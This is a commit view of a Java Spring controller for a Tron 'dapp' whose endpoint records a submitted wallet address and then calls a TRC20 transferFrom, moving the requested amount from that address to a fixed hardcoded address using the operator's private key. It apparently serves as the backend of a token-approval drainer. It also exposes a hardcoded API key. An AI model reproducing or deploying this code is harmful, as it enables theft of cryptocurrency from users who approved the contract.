fix
Helius
2021-10-20 56feb5713f436f0590a196e56b7a0a76e37145a1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package cc.mrbird.febs.dapp.controller;
 
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cc.mrbird.febs.dapp.dto.TrxPostDto;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cn.hutool.core.util.StrUtil;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
 
import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Date;
 
/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
 
    @Autowired
    private DappAdressListDao dappAdressListDao;
 
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        log.info("-----进入方法-----");
 
        DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
        if (dappAddress == null) {
            dappAddress = new DappAddressList();
            dappAddress.setCreateTime(new Date());
            dappAddress.setAddress(trxPostDto.getAddress());
            dappAdressListDao.insert(dappAddress);
        }
 
        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
 
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
//        System.out.println(balanceOf);
 
        BigInteger decimals = token.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal amount = BigDecimal.ZERO;
        if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
            amount = new BigDecimal(trxPostDto.getAmount());
        }
 
        amount = amount.multiply(mul);
 
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}